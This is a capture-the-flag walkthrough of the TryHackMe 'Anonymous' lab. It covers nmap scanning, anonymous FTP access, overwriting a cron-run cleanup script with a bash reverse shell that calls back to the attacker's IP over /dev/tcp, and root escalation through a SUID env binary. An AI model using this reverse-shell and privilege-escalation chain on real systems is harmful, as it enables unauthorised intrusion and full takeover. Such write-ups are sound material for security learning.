Anonymous

enumeration

nmap

```
nobodyatall@0xB105F00D:~/tryhackme/anonymous$ sudo nmap -sS 10.10.115.85
[sudo] password for nobodyatall:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 04:54 +08
Nmap scan report for 10.10.115.85
Host is up (0.21s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 3.19 seconds
```

post explotation

imgPOC

1) Scan open ports

```
nobodyatall@0xB105F00D:~/tryhackme/anonymous$ sudo nmap -sS 10.10.11.235
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 04:58 +08
Nmap scan report for 10.10.11.235
Host is up (0.24s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
nobodyatall@0xB105F00D:~/tryhackme/anonymous$
```

2) ftp able to login anonymously

```
nobodyatall@0xB105F00D:~/tryhackme/anonymous$ ftp 10.10.11.235
Connected to 10.10.11.235.
220 NamelessOne's FTP Server!
Name (10.10.11.235:nobodyatall): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

3) found interesting script and log

```
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 May 14 14:52 clean.sh
-rw-rw-r--    1 1000     1000           86 May 17 22:55 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12 03:50 to_do.txt
226 Directory send OK.
ftp>
```

4) Seems like it's a script that will be execute to clean the tmp directory and after clean it will append the text either "Running cleanup script: nothing to delete" or "Removed file /tmp/...."" into /var/ftp/scripts/removed_files.log which is the removed_files.log in the ftp scripts directory

```
nobodyatall@0xB105F00D:~/tryhackme/anonymous$ cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
nobodyatall@0xB105F00D:~/tryhackme/anonymous$ cat removed_files.log
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
nobodyatall@0xB105F00D:~/tryhackme/anonymous$
```

5) after some time it seems like the clean.sh triggered automatically, so i assume that there's a cron jobs running behind there.

//previous img show's only 3 line in the log but after some time it become 4 line, so it means that the script has been executed and message append into the log

```
nobodyatall@0xB105F00D:~/tryhackme/anonymous$ cat removed_files.log
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
```

6) edit the clean.sh script with the reverse shell payload

```
nobodyatall@0xB105F00D:~/tryhackme/anonymous$ cat clean.sh
#!/bin/bash

bash -i >& /dev/tcp/10.9.10.47/18890 0>&1

nobodyatall@0xB105F00D:~/tryhackme/anonymous$
```

7) upload the edited script into ftp server and wait for the reverse shell payload script to be executed

```
250 Directory successfully changed.
ftp> put clean.sh
local: clean.sh remote: clean.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
56 bytes sent in 0.00 secs (1012.7315 kB/s)
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000           56 May 19 21:09 clean.sh
-rw-rw-r--    1 1000     1000          172 May 19 21:05 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12 03:50 to_do.txt
226 Directory send OK.
ftp>
```

```
nobodyatall@0xB105F00D:~$ nc -lvp 18890
listening on [any] 18890 ...
```

8) after the clean.sh executed, we got our reverse shell

```
nobodyatall@0xB105F00D:~$ nc -lvp 18890
listening on [any] 18890 ...
10.10.11.235: inverse host lookup failed: Unknown host
connect to [10.9.10.47] from (UNKNOWN) [10.10.11.235] 44788
bash: cannot set terminal process group (1250): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ whoami && hostname
whoami && hostname
namelessone
anonymous
namelessone@anonymous:~$
```

9) check for suid binaries

```
namelessone@anonymous:~$ find / -perm -u=s -type f 2>/dev/null
```

10) found interesting suid binaries and the binary owner is root

```
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec
namelessone@anonymous:~$
```

```
namelessone@anonymous:~$ ls -la /usr/bin/env
ls -la /usr/bin/env
-rwsr-xr-x 1 root root 35000 Jan 18  2018 /usr/bin/env
```

11) find GTFO bins for suid method to perform privilege escalation

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.

```
sudo sh -c 'cp $(which env) .; chmod +s ./env'

./env /bin/sh -p
```

12) perform privilege escalation and we are root user now

```
namelessone@anonymous:~$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
whoami
root
```